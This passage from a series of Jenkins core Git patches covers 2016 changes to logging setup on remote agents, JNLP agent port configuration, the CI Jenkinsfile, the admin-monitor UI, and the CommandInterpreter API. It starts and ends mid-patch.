ShutdownLink.Description=Stops executing new builds, so that the system can be eventually shut down safely. + +AdministrativeMonitorsDecorator.DisplayName=Administrative Monitors Notifier -- GitLab From cbfd63d375fa034c4d2caadd4aa6357e0e002e2b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Oliver=20Gond=C5=BEa?= Date: Wed, 21 Sep 2016 08:43:28 +0200 Subject: [PATCH 314/811] Use CheckForNull --- core/src/main/java/hudson/model/Failure.java | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/hudson/model/Failure.java b/core/src/main/java/hudson/model/Failure.java index 70f3e3844f..37fc2696b5 100644 --- a/core/src/main/java/hudson/model/Failure.java +++ b/core/src/main/java/hudson/model/Failure.java @@ -28,7 +28,7 @@ import org.kohsuke.stapler.HttpResponse; import org.kohsuke.stapler.StaplerRequest; import org.kohsuke.stapler.StaplerResponse; -import javax.annotation.Nullable; +import javax.annotation.CheckForNull; import javax.servlet.ServletException; import java.io.IOException; @@ -55,7 +55,7 @@ public class Failure extends RuntimeException implements HttpResponse { this.pre = pre; } - public void generateResponse(StaplerRequest req, StaplerResponse rsp, Object node, @Nullable Throwable throwable) throws IOException, ServletException { + public void generateResponse(StaplerRequest req, StaplerResponse rsp, Object node, @CheckForNull Throwable throwable) throws IOException, ServletException { if (throwable != null) { req.setAttribute("exception", throwable); } -- GitLab From 27d9b73ef4434de0000007c35352dfe48a08c751 Mon Sep 17 00:00:00 2001 From: Yoann Dubreuil Date: Wed, 21 Sep 2016 10:39:52 +0200 Subject: [PATCH 315/811] [JENKINS-35184] Servlet API dependent bits in a inner-class (#2551) * [JENKINS-35184] Servlet API dependent bits in a inner-class This is in order to avoid loading ServletContextListener class from slaves classloader. * [JENKINS-35184] Don't use SystemProperties while initializing remote agents This rolls back the previous commit and introduces a new way to construct RingBufferLogHandler which avoids relying on SystemProperties to get the default size. * [JENKINS-35184] Mark SystemProperties as OnMaster only class Adding `OnMaster` annotation does not prevent the class from being loaded on remote agent but it gives a hint that this class should not be used on a remote agent. * [JENKINS-35184] Set SLAVE_LOG_HANDLER at the very beginning In the previous code cleaning existing log handlers, SLAVE_LOG_HANDLER is always null, as static fields are scoped by classloader. --- core/src/main/java/hudson/WebAppMain.java | 6 +++++- .../main/java/hudson/slaves/SlaveComputer.java | 16 ++++++++++++++-- .../java/hudson/util/RingBufferLogHandler.java | 8 ++++++-- .../main/java/jenkins/util/SystemProperties.java | 6 ++++-- 4 files changed, 29 insertions(+), 7 deletions(-) diff --git a/core/src/main/java/hudson/WebAppMain.java b/core/src/main/java/hudson/WebAppMain.java index de518fcb72..b4a956513f 100644 --- a/core/src/main/java/hudson/WebAppMain.java +++ b/core/src/main/java/hudson/WebAppMain.java @@ -77,7 +77,11 @@ import static java.util.logging.Level.*; * @author Kohsuke Kawaguchi */ public class WebAppMain implements ServletContextListener { - private final RingBufferLogHandler handler = new RingBufferLogHandler() { + + // use RingBufferLogHandler class name to configure for backward compatibility + private static final int DEFAULT_RING_BUFFER_SIZE = SystemProperties.getInteger(RingBufferLogHandler.class.getName() + ".defaultSize", 256); + + private final RingBufferLogHandler handler = new RingBufferLogHandler(DEFAULT_RING_BUFFER_SIZE) { @Override public synchronized void publish(LogRecord record) { if (record.getLevel().intValue() >= Level.INFO.intValue()) { super.publish(record); diff --git a/core/src/main/java/hudson/slaves/SlaveComputer.java b/core/src/main/java/hudson/slaves/SlaveComputer.java index 50e071ef98..66e57ba76e 100644 --- a/core/src/main/java/hudson/slaves/SlaveComputer.java +++ b/core/src/main/java/hudson/slaves/SlaveComputer.java @@ -56,6 +56,7 @@ import jenkins.security.MasterToSlaveCallable; import jenkins.slaves.EncryptedSlaveAgentJnlpFile; import jenkins.slaves.JnlpSlaveAgentProtocol; import jenkins.slaves.systemInfo.SlaveSystemInfo; +import jenkins.util.SystemProperties; import org.acegisecurity.context.SecurityContext; import org.acegisecurity.context.SecurityContextHolder; import org.kohsuke.stapler.HttpRedirect; @@ -541,7 +542,7 @@ public class SlaveComputer extends Computer { // it'll have a catastrophic impact on the communication. channel.pinClassLoader(getClass().getClassLoader()); - channel.call(new SlaveInitializer()); + channel.call(new SlaveInitializer(DEFAULT_RING_BUFFER_SIZE)); SecurityContext old = ACL.impersonate(ACL.SYSTEM); try { for (ComputerListener cl : ComputerListener.all()) { @@ -804,11 +805,19 @@ public class SlaveComputer extends Computer { /** * This field is used on each agent to record logs on the agent. */ - static final RingBufferLogHandler SLAVE_LOG_HANDLER = new RingBufferLogHandler(); + static RingBufferLogHandler SLAVE_LOG_HANDLER; } private static class SlaveInitializer extends MasterToSlaveCallable { + final int ringBufferSize; + + public SlaveInitializer(int ringBufferSize) { + this.ringBufferSize = ringBufferSize; + } + public Void call() { + SLAVE_LOG_HANDLER = new RingBufferLogHandler(ringBufferSize); + // avoid double installation of the handler. JNLP slaves can reconnect to the master multiple times // and each connection gets a different RemoteClassLoader, so we need to evict them by class name, // not by their identity. @@ -867,5 +876,8 @@ public class SlaveComputer extends Computer { } } + // use RingBufferLogHandler class name to configure for backward compatibility + private static final int DEFAULT_RING_BUFFER_SIZE = SystemProperties.getInteger(RingBufferLogHandler.class.getName() + ".defaultSize", 256); + private static final Logger LOGGER = Logger.getLogger(SlaveComputer.class.getName()); } diff --git a/core/src/main/java/hudson/util/RingBufferLogHandler.java b/core/src/main/java/hudson/util/RingBufferLogHandler.java index dc51e2c694..89d0b124d7 100644 --- a/core/src/main/java/hudson/util/RingBufferLogHandler.java +++ b/core/src/main/java/hudson/util/RingBufferLogHandler.java @@ -23,7 +23,6 @@ */ package hudson.util; -import jenkins.util.SystemProperties; import java.util.AbstractList; import java.util.List; import java.util.logging.Handler; @@ -36,12 +35,17 @@ import java.util.logging.LogRecord; */ public class RingBufferLogHandler extends Handler { - private static final int DEFAULT_RING_BUFFER_SIZE = SystemProperties.getInteger(RingBufferLogHandler.class.getName() + ".defaultSize", 256); + private static final int DEFAULT_RING_BUFFER_SIZE = Integer.getInteger(RingBufferLogHandler.class.getName() + ".defaultSize", 256); private int start = 0; private final LogRecord[] records; private volatile int size = 0; + /** + * This constructor is deprecated. It can't access system properties with {@link jenkins.util.SystemProperties} + * as it's not legal to use it on remoting agents. + */ + @Deprecated public RingBufferLogHandler() { this(DEFAULT_RING_BUFFER_SIZE); } diff --git a/core/src/main/java/jenkins/util/SystemProperties.java b/core/src/main/java/jenkins/util/SystemProperties.java index 794e956b1a..cadda5250b 100644 --- a/core/src/main/java/jenkins/util/SystemProperties.java +++ b/core/src/main/java/jenkins/util/SystemProperties.java @@ -32,6 +32,8 @@ import java.util.logging.Logger; import javax.servlet.ServletContext; import javax.servlet.ServletContextEvent; import javax.servlet.ServletContextListener; + +import jenkins.util.io.OnMaster; import org.apache.commons.lang.StringUtils; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.NoExternalUse; @@ -65,7 +67,7 @@ import org.kohsuke.accmod.restrictions.NoExternalUse; */ //TODO: Define a correct design of this engine later. Should be accessible in libs (remoting, stapler) and Jenkins modules too @Restricted(NoExternalUse.class) -public class SystemProperties implements ServletContextListener { +public class SystemProperties implements ServletContextListener, OnMaster { // this class implements ServletContextListener and is declared in WEB-INF/web.xml /** @@ -88,7 +90,7 @@ public class SystemProperties implements ServletContextListener { * Called by the servlet container to initialize the {@link ServletContext}. */ @Override - @SuppressFBWarnings(value = "ST_WRITE_TO_STATIC_FROM_INSTANCE_METHOD", + @SuppressFBWarnings(value = "ST_WRITE_TO_STATIC_FROM_INSTANCE_METHOD", justification = "Currently Jenkins instance may have one ond only one context") public void contextInitialized(ServletContextEvent event) { theContext = event.getServletContext(); -- GitLab From 5cff734b90e399b8b6b7a890309edc5f7b4882ef Mon Sep 17 00:00:00 2001 From: Vincent Latombe Date: Wed, 14 Sep 2016 10:39:14 +0200 Subject: [PATCH 316/811] [JENKINS-38187] Honor System Properties to set up jnlp in SetupWizard Fix setting up slave agent port through -Djenkins.model.Jenkins.slaveAgentPort on startup. Add -Djenkins.model.Jenkins.slaveAgentPortEnforce=true to enforce slave agent port on every start, and an administrative monitor in case the value is modified through UI. --- .../java/jenkins/install/SetupWizard.java | 7 +-- core/src/main/java/jenkins/model/Jenkins.java | 51 ++++++++++++++++++- .../message.jelly | 34 +++++++++++++ .../message.properties | 1 + .../jenkins/model/Messages.properties | 1 + 5 files changed, 90 insertions(+), 4 deletions(-) create mode 100644 core/src/main/resources/jenkins/model/Jenkins/EnforceSlaveAgentPortAdministrativeMonitor/message.jelly create mode 100644 core/src/main/resources/jenkins/model/Jenkins/EnforceSlaveAgentPortAdministrativeMonitor/message.properties diff --git a/core/src/main/java/jenkins/install/SetupWizard.java b/core/src/main/java/jenkins/install/SetupWizard.java index 4196a061a6..6368fb4b8f 100644 --- a/core/src/main/java/jenkins/install/SetupWizard.java +++ b/core/src/main/java/jenkins/install/SetupWizard.java @@ -20,6 +20,7 @@ import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequestWrapper; import javax.servlet.http.HttpServletResponse; +import jenkins.util.SystemProperties; import org.acegisecurity.Authentication; import org.acegisecurity.context.SecurityContextHolder; import org.acegisecurity.providers.UsernamePasswordAuthenticationToken; @@ -117,9 +118,9 @@ public class SetupWizard extends PageDecorator { authStrategy.setAllowAnonymousRead(false); jenkins.setAuthorizationStrategy(authStrategy); - // Shut down all the ports we can by default: - jenkins.setSlaveAgentPort(-1); // -1 to disable - + // Disable jnlp by default, but honor system properties + jenkins.setSlaveAgentPort(SystemProperties.getInteger(Jenkins.class.getName()+".slaveAgentPort",-1)); + // require a crumb issuer jenkins.setCrumbIssuer(new DefaultCrumbIssuer(false)); diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 66090849f9..dc33aa65f0 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -30,6 +30,7 @@ import antlr.ANTLRException; import com.google.common.collect.ImmutableMap; import com.google.common.collect.ImmutableSet; import com.google.common.collect.Lists; +import com.google.inject.Inject; import com.google.inject.Injector; import com.thoughtworks.xstream.XStream; import hudson.BulkChange; @@ -596,7 +597,16 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve * TCP agent port. * 0 for random, -1 to disable. */ - private int slaveAgentPort = SystemProperties.getInteger(Jenkins.class.getName()+".slaveAgentPort",0); + private int slaveAgentPort = getSlaveAgentPortInitialValue(0); + + private static int getSlaveAgentPortInitialValue(int def) { + return SystemProperties.getInteger(Jenkins.class.getName()+".slaveAgentPort", def); + } + + /** + * If -Djenkins.model.Jenkins.slaveAgentPort is defined, enforce it on every start instead of only the first one. + */ + private static final boolean SLAVE_AGENT_PORT_ENFORCE = SystemProperties.getBoolean(Jenkins.class.getName()+".slaveAgentPortEnforce", false); /** * The TCP agent protocols that are explicitly disabled (we store the disabled ones so that newer protocols @@ -982,6 +992,9 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve if (jdks == null) { jdks = new ArrayList<>(); } + if (SLAVE_AGENT_PORT_ENFORCE) { + slaveAgentPort = getSlaveAgentPortInitialValue(slaveAgentPort); + } return this; } @@ -1206,6 +1219,42 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve } } + @Extension + public static class EnforceSlaveAgentPortAdministrativeMonitor extends AdministrativeMonitor { + @Inject + Jenkins j; + + @Override + public String getDisplayName() { + return jenkins.model.Messages.EnforceSlaveAgentPortAdministrativeMonitor_displayName(); + } + + public int getExpectedPort() { + int slaveAgentPort = j.slaveAgentPort; + return Jenkins.getSlaveAgentPortInitialValue(slaveAgentPort); + } + + public String getExpectedPortString() { + return Integer.toString(getExpectedPort()); + } + + /** + * Depending on whether the user said "yes" or "no", send him to the right place. + */ + public void doAct(StaplerRequest req, StaplerResponse rsp) throws IOException { + if (req.hasParameter("fix")) { + j.setSlaveAgentPort(getExpectedPort()); + } + rsp.sendRedirect2(req.getContextPath() + "/manage"); + } + + @Override + public boolean isActivated() { + int slaveAgentPort = Jenkins.getInstance().slaveAgentPort; + return SLAVE_AGENT_PORT_ENFORCE && slaveAgentPort != Jenkins.getSlaveAgentPortInitialValue(slaveAgentPort); + } + } + public void setNodeName(String name) { throw new UnsupportedOperationException(); // not allowed } diff --git a/core/src/main/resources/jenkins/model/Jenkins/EnforceSlaveAgentPortAdministrativeMonitor/message.jelly b/core/src/main/resources/jenkins/model/Jenkins/EnforceSlaveAgentPortAdministrativeMonitor/message.jelly new file mode 100644 index 0000000000..a2aacb77a4 --- /dev/null +++ b/core/src/main/resources/jenkins/model/Jenkins/EnforceSlaveAgentPortAdministrativeMonitor/message.jelly @@ -0,0 +1,34 @@ + + + +
                    + ${%description(it.expectedPortString)} +
                    +
                    + +
                    +
                    +
                    +
                    diff --git a/core/src/main/resources/jenkins/model/Jenkins/EnforceSlaveAgentPortAdministrativeMonitor/message.properties b/core/src/main/resources/jenkins/model/Jenkins/EnforceSlaveAgentPortAdministrativeMonitor/message.properties new file mode 100644 index 0000000000..2b4c72207f --- /dev/null +++ b/core/src/main/resources/jenkins/model/Jenkins/EnforceSlaveAgentPortAdministrativeMonitor/message.properties @@ -0,0 +1 @@ +description=Slave Agent Port has been manually changed. Its value will be reset to {0} on restart. diff --git a/core/src/main/resources/jenkins/model/Messages.properties b/core/src/main/resources/jenkins/model/Messages.properties index 442036631a..e178950f4e 100644 --- a/core/src/main/resources/jenkins/model/Messages.properties +++ b/core/src/main/resources/jenkins/model/Messages.properties @@ -70,3 +70,4 @@ BlockedBecauseOfBuildInProgress.ETA=\ (ETA:{0}) BuildDiscarderProperty.displayName=Discard old builds DownloadSettings.Warning.DisplayName=Browser-based metadata download +EnforceSlaveAgentPortAdministrativeMonitor.displayName=Enforce JNLP Slave Agent Port -- GitLab From f981977c119945e911996bc0a78c76c96a5210a9 Mon Sep 17 00:00:00 2001 From: "R. Tyler Croy" Date: Mon, 19 Sep 2016 11:47:48 -0700 Subject: [PATCH 317/811] Remove the broken packaging testing temporarily This needs to be reworked a bit to accomodate more modern versions of Jenkins Pipeline --- Jenkinsfile | 37 ------------------------------------- 1 file changed, 37 deletions(-) diff --git a/Jenkinsfile b/Jenkinsfile index 0e698b9e5d..5a8534df56 100644 --- a/Jenkinsfile +++ b/Jenkinsfile @@ -124,43 +124,6 @@ timestampedNode('docker') { } -stage('Packaging - Testing') { - if (runTests) { - if (!env.CHANGE_ID) { - // NOTE: As of now, a lot of package tests will fail. See https://issues.jenkins-ci.org/issues/?filter=15257 for - // possible open JIRAs. - - // Basic parameters - String artifactName = (binding.hasVariable('artifactName')) ? artifactName : 'jenkins' - String jenkinsPort = (binding.hasVariable('jenkinsPort')) ? jenkinsPort : '8080' - - // Set up - String debfile = "artifact://${env.JOB_NAME}/${env.BUILD_NUMBER}#target/debian/${debFileName}" - String rpmfile = "artifact://${env.JOB_NAME}/${env.BUILD_NUMBER}#target/rpm/${rpmFileName}" - String susefile = "artifact://${env.JOB_NAME}/${env.BUILD_NUMBER}#target/suse/${suseFileName}" - - timestampedNode("docker") { - stage "Load Lib" - dir('workflowlib') { - deleteDir() - git branch: packagingBranch, url: 'https://github.com/jenkinsci/packaging.git' - flow = load 'workflow/installertest.groovy' - } - } - // Run the real tests within docker node label - flow.fetchAndRunJenkinsInstallerTest("docker", rpmfile, susefile, debfile, - packagingBranch, artifactName, jenkinsPort) - } - else { - echo "Not running package testing against pull requests" - } - } - else { - echo "Skipping package tests" - } -} - - // This method sets up the Maven and JDK tools, puts them in the environment along // with whatever other arbitrary environment variables we passed in, and runs the // body we passed in within that environment. -- GitLab From fdcb083587692f3d33d2ea092641bf845af15314 Mon Sep 17 00:00:00 2001 From: "R. Tyler Croy" Date: Wed, 21 Sep 2016 11:02:16 -0700 Subject: [PATCH 318/811] Remove the packaging tests entirely to get valid pull request verification This code can come back, IMO, after @svanoort and I fix the unpleasant/broken tight-coupling between this Jenkinsfile and Groovy code floating around in the jenkinsci/packaging repository --- Jenkinsfile | 132 +++++++++++----------------------------------------- 1 file changed, 26 insertions(+), 106 deletions(-) diff --git a/Jenkinsfile b/Jenkinsfile index 5a8534df56..5fdd562b8c 100644 --- a/Jenkinsfile +++ b/Jenkinsfile @@ -17,113 +17,42 @@ properties([[$class: 'jenkins.model.BuildDiscarderProperty', strategy: [$class: numToKeepStr: '50', artifactNumToKeepStr: '20']]]) -String packagingBranch = (binding.hasVariable('packagingBranch')) ? packagingBranch : 'jenkins-2.0' - -timestampedNode('java') { - - // First stage is actually checking out the source. Since we're using Multibranch - // currently, we can use "checkout scm". - stage('Checkout') { - checkout scm - } - - // Now run the actual build. - stage("Build / Test") { - timeout(time: 180, unit: 'MINUTES') { - // See below for what this method does - we're passing an arbitrary environment - // variable to it so that JAVA_OPTS and MAVEN_OPTS are set correctly. - withMavenEnv(["JAVA_OPTS=-Xmx1536m -Xms512m -XX:MaxPermSize=1024m", - "MAVEN_OPTS=-Xmx1536m -Xms512m -XX:MaxPermSize=1024m"]) { - // Actually run Maven! - // The -Dmaven.repo.local=${pwd()}/.repository means that Maven will create a - // .repository directory at the root of the build (which it gets from the - // pwd() Workflow call) and use that for the local Maven repository. - sh "mvn -Pdebug -U clean install ${runTests ? '-Dmaven.test.failure.ignore=true' : '-DskipTests'} -V -B -Dmaven.repo.local=${pwd()}/.repository" - } +node('java') { + timestamps { + // First stage is actually checking out the source. Since we're using Multibranch + // currently, we can use "checkout scm". + stage('Checkout') { + checkout scm } - } - - - // Once we've built, archive the artifacts and the test results. - stage('Archive Artifacts / Test Results') { - archiveArtifacts artifacts: '**/target/*.jar, **/target/*.war, **/target/*.hpi', - fingerprint: true - if (runTests) { - junit healthScaleFactor: 20.0, testResults: '**/target/surefire-reports/*.xml' - } - } -} - -def debFileName -def rpmFileName -def suseFileName - -// Run the packaging build on a node with the "docker" label. -timestampedNode('docker') { - // First stage here is getting prepped for packaging. - stage('Packaging - Docker Prep') { - // Docker environment to build packagings - dir('packaging-docker') { - git branch: packagingBranch, url: 'https://github.com/jenkinsci/packaging.git' - sh 'docker build -t jenkins-packaging-builder:0.1 docker' - } - } - stage('Packaging') { - // Working packaging code, separate branch with fixes - dir('packaging') { - deleteDir() - - docker.image("jenkins-packaging-builder:0.1").inside("-u root") { - git branch: packagingBranch, url: 'https://github.com/jenkinsci/packaging.git' - - try { - // Saw issues with unstashing inside a container, and not sure copy artifact plugin would work here. - // So, simple wget. - sh "wget -q ${currentBuild.absoluteUrl}/artifact/war/target/jenkins.war" - sh "make clean deb rpm suse BRAND=./branding/jenkins.mk BUILDENV=./env/test.mk CREDENTIAL=./credentials/test.mk WAR=jenkins.war" - } catch (Exception e) { - error "Packaging failed: ${e}" - } finally { - // Needed to make sure the output of the build can be deleted by later runs. - // Hackish, yes, but rpm builds as a numeric UID only user fail, so... - sh "chmod -R a+w target || true" - sh "chmod a+w jenkins.war || true" - } - dir("target/debian") { - def debFilesFound = findFiles(glob: "*.deb") - if (debFilesFound.size() > 0) { - debFileName = debFilesFound[0]?.name - } - } - - dir("target/rpm") { - def rpmFilesFound = findFiles(glob: "*.rpm") - if (rpmFilesFound.size() > 0) { - rpmFileName = rpmFilesFound[0]?.name - } - } - - dir("target/suse") { - def suseFilesFound = findFiles(glob: "*.rpm") - if (suseFilesFound.size() > 0) { - suseFileName = suseFilesFound[0]?.name - } + // Now run the actual build. + stage("Build / Test") { + timeout(time: 180, unit: 'MINUTES') { + // See below for what this method does - we're passing an arbitrary environment + // variable to it so that JAVA_OPTS and MAVEN_OPTS are set correctly. + withMavenEnv(["JAVA_OPTS=-Xmx1536m -Xms512m -XX:MaxPermSize=1024m", + "MAVEN_OPTS=-Xmx1536m -Xms512m -XX:MaxPermSize=1024m"]) { + // Actually run Maven! + // The -Dmaven.repo.local=${pwd()}/.repository means that Maven will create a + // .repository directory at the root of the build (which it gets from the + // pwd() Workflow call) and use that for the local Maven repository. + sh "mvn -Pdebug -U clean install ${runTests ? '-Dmaven.test.failure.ignore=true' : '-DskipTests'} -V -B -Dmaven.repo.local=${pwd()}/.repository" } + } + } - step([$class: 'ArtifactArchiver', artifacts: 'target/**/*', fingerprint: true]) - // Fail the build if we didn't find at least one of the packages, meaning they weren't built but - // somehow make didn't error out. - if (debFileName == null || rpmFileName == null || suseFileName == null) { - error "At least one of Debian, RPM or SuSE packages are missing, so failing the build." - } + // Once we've built, archive the artifacts and the test results. + stage('Archive Artifacts / Test Results') { + archiveArtifacts artifacts: '**/target/*.jar, **/target/*.war, **/target/*.hpi', + fingerprint: true + if (runTests) { + junit healthScaleFactor: 20.0, testResults: '**/target/surefire-reports/*.xml' } } } } - // This method sets up the Maven and JDK tools, puts them in the environment along // with whatever other arbitrary environment variables we passed in, and runs the // body we passed in within that environment. @@ -147,12 +76,3 @@ void withMavenEnv(List envVars = [], def body) { body.call() } } - -// Runs the given body within a Timestamper wrapper on the given label. -def timestampedNode(String label, Closure body) { - node(label) { - timestamps { - body.call() - } - } -} -- GitLab From d8821c86451e7e30d6f3225892f01404000e2a60 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 21 Sep 2016 16:33:47 -0400 Subject: [PATCH 319/811] [JENKINS-34755] Noting since for #2337. --- core/src/main/java/jenkins/util/SystemProperties.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/java/jenkins/util/SystemProperties.java b/core/src/main/java/jenkins/util/SystemProperties.java index cadda5250b..6d6fc24904 100644 --- a/core/src/main/java/jenkins/util/SystemProperties.java +++ b/core/src/main/java/jenkins/util/SystemProperties.java @@ -63,7 +63,7 @@ import org.kohsuke.accmod.restrictions.NoExternalUse; * because {@link EnvVars} is only for build variables, not Jenkins itself variables. * * @author Johannes Ernst - * @since TODO + * @since 2.4 */ //TODO: Define a correct design of this engine later. Should be accessible in libs (remoting, stapler) and Jenkins modules too @Restricted(NoExternalUse.class) -- GitLab From 1e124eb36c8cad571d99ccbce9462cf93ab10271 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Wed, 21 Sep 2016 07:16:09 +0200 Subject: [PATCH 320/811] [JENKINS-38391] Further admin monitor refinements - Add tooltip to notification button - Move CSS/JS into an adjunct - Check adcitve admin monitors status last - Don't show on /configure URL --- .../AdministrativeMonitorsDecorator.java | 15 ++- .../footer.jelly | 116 +----------------- .../footer.properties | 1 + .../resources.css | 70 +++++++++++ .../resources.js | 39 ++++++ 5 files changed, 123 insertions(+), 118 deletions(-) create mode 100644 core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/footer.properties create mode 100644 core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/resources.css create mode 100644 core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/resources.js diff --git a/core/src/main/java/jenkins/management/AdministrativeMonitorsDecorator.java b/core/src/main/java/jenkins/management/AdministrativeMonitorsDecorator.java index 1c4b1f01cf..5d88cf74b9 100644 --- a/core/src/main/java/jenkins/management/AdministrativeMonitorsDecorator.java +++ b/core/src/main/java/jenkins/management/AdministrativeMonitorsDecorator.java @@ -28,12 +28,16 @@ import hudson.Functions; import hudson.diagnosis.ReverseProxySetupMonitor; import hudson.model.AdministrativeMonitor; import hudson.model.PageDecorator; +import hudson.util.HttpResponses; import hudson.util.HudsonIsLoading; import hudson.util.HudsonIsRestarting; import jenkins.model.Jenkins; +import net.sf.json.JSON; +import net.sf.json.JSONObject; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.NoExternalUse; import org.kohsuke.stapler.Ancestor; +import org.kohsuke.stapler.HttpResponse; import org.kohsuke.stapler.Stapler; import org.kohsuke.stapler.StaplerRequest; @@ -57,6 +61,9 @@ public class AdministrativeMonitorsDecorator extends PageDecorator { // otherwise this would be added to every internal context menu building request ignoredJenkinsRestOfUrls.add("contextMenu"); + + // don't show here to allow admins to disable malfunctioning monitors via AdministrativeMonitorsDecorator + ignoredJenkinsRestOfUrls.add("configure"); } @Override @@ -94,10 +101,6 @@ public class AdministrativeMonitorsDecorator extends PageDecorator { return false; } - if (getActiveAdministrativeMonitorsCount() == 0) { - return false; - } - StaplerRequest req = Stapler.getCurrentRequest(); if (req == null) { @@ -131,6 +134,10 @@ public class AdministrativeMonitorsDecorator extends PageDecorator { } } + if (getActiveAdministrativeMonitorsCount() == 0) { + return false; + } + return true; } } \ No newline at end of file diff --git a/core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/footer.jelly b/core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/footer.jelly index 76f3406f5d..c4809218de 100644 --- a/core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/footer.jelly +++ b/core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/footer.jelly @@ -24,121 +24,9 @@ THE SOFTWARE. - - +
                    - + ${it.activeAdministrativeMonitorsCount}
                    diff --git a/core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/footer.properties b/core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/footer.properties new file mode 100644 index 0000000000..60f6fe5694 --- /dev/null +++ b/core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/footer.properties @@ -0,0 +1 @@ +tooltip=There are {0} active administrative monitors. \ No newline at end of file diff --git a/core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/resources.css b/core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/resources.css new file mode 100644 index 0000000000..21aad475e0 --- /dev/null +++ b/core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/resources.css @@ -0,0 +1,70 @@ +#visible-am-container { + float: right; +} +#visible-am-button { + text-align: center; + font-size: 20px; + font-weight: bold; + background-color: #e01716; + color: #fff;; + margin: 0; + line-height: 40px; + text-decoration: none; + min-width: 2em; + display: inline-block; + position: relative; + transition: all .1s; +} +#visible-am-button:hover, #visible-am-button:focus, #visible-am-button:active { + background: #e23635; +} +#visible-am-container.visible #visible-am-button { + box-shadow: inset 0px 1px 14px rgba(0,0,0,.5); +} +#visible-am-container div#visible-am-list { + position: absolute; + top: 35px; + right: 2%; + margin-left:2%; + height: auto; + z-index: 0; + padding: 2em; + border: 1px solid #aa; + text-align: left; + display: block; + background-color: #fff; + border-radius: 5px; + box-shadow: 0 7px 20px rgba(0,0,0,.1); + transition: all .15s cubic-bezier(.84,.03,.21,.96); + opacity: 0; + transform: scale(0); +} +#visible-am-container.visible div#visible-am-list { + opacity: 1; + transform: scale(1); + z-index: 1000; +} +#visible-am-container #visible-am-button:after { + content: ''; + display: inline-block; + position: absolute; + bottom: -5px; + left: 32%; + width: 0; + height: 0; + border-left: 7px solid transparent; + border-right: 7px solid transparent; + border-bottom: 7px solid #fff; + opacity: 0; + transition: all .05s; +} +#visible-am-container.visible #visible-am-button:after { + opacity: 1; + bottom: 4px; + transition: all .25s; +} +#visible-am-container .am-message { + display: block; + line-height: 1.4em; + margin-bottom: 1.4em; +} \ No newline at end of file diff --git a/core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/resources.js b/core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/resources.js new file mode 100644 index 0000000000..a11957cfea --- /dev/null +++ b/core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/resources.js @@ -0,0 +1,39 @@ +function amCloser(e) { + var list = document.getElementById('visible-am-list'); + var el = e.target; + while (el) { + if (el === list) { + return; // clicked in the list + } + el = el.parentElement; + } + hideVisibleAmList(); +}; +function amEscCloser(e) { + if (e.keyCode == 27) { + amCloser(e); + } +}; +function amContainer() { + return document.getElementById('visible-am-container'); +}; +function hideVisibleAmList(e) { + amContainer().classList.remove('visible'); + document.removeEventListener('click', amCloser); + document.removeEventListener('keydown', amEscCloser); +} +function showVisibleAmList(e) { + amContainer().classList.add('visible'); + setTimeout(function() { + document.addEventListener('click', amCloser); + document.addEventListener('keydown', amEscCloser); + }, 1); +} +function toggleVisibleAmList(e) { + if (amContainer().classList.contains('visible')) { + hideVisibleAmList(e); + } else { + showVisibleAmList(e); + } + e.preventDefault(); +} \ No newline at end of file -- GitLab From 3c85fd74cbaf38e39e8675b15dfe6ef6ada91081 Mon Sep 17 00:00:00 2001 From: Craig Ringer Date: Mon, 21 Jul 2014 11:27:19 +0800 Subject: [PATCH 321/811] JENKINS-23896 Give CommandInterpreter.join(Proc p) access to Build The CommandInterpreter.join(Proc p) method is supposed to be an extension point to allow an UNSTABLE build result to be set, but it has no access to the Build object with which to do so. Add a getBuild() method that returns the build passed to perform(...). A better API would be a new join(...) with more arguments, but that'd break out of tree plugins that might already be using this for other purposes. --- .../java/hudson/tasks/CommandInterpreter.java | 29 +++++++++++++++++-- 1 file changed, 26 insertions(+), 3 deletions(-) diff --git a/core/src/main/java/hudson/tasks/CommandInterpreter.java b/core/src/main/java/hudson/tasks/CommandInterpreter.java index 982ecadb3f..ea26667d6e 100644 --- a/core/src/main/java/hudson/tasks/CommandInterpreter.java +++ b/core/src/main/java/hudson/tasks/CommandInterpreter.java @@ -51,6 +51,11 @@ public abstract class CommandInterpreter extends Builder { */ protected final String command; + /** + * The build being run. Valid only during perform(...). + */ + protected AbstractBuild build; + public CommandInterpreter(String command) { this.command = command; } @@ -59,12 +64,26 @@ public abstract class CommandInterpreter extends Builder { return command; } + /** + * Access the current build object. + * + * Useful for {@link #join(Proc p)} for setting build results. + * + * @return The build being run, or null if outside perform(...) + * @since 1.573 + */ + protected final AbstractBuild getBuild() + { + return build; + } + @Override public boolean perform(AbstractBuild build, Launcher launcher, BuildListener listener) throws InterruptedException { return perform(build,launcher,(TaskListener)listener); } public boolean perform(AbstractBuild build, Launcher launcher, TaskListener listener) throws InterruptedException { + this.build = build; FilePath ws = 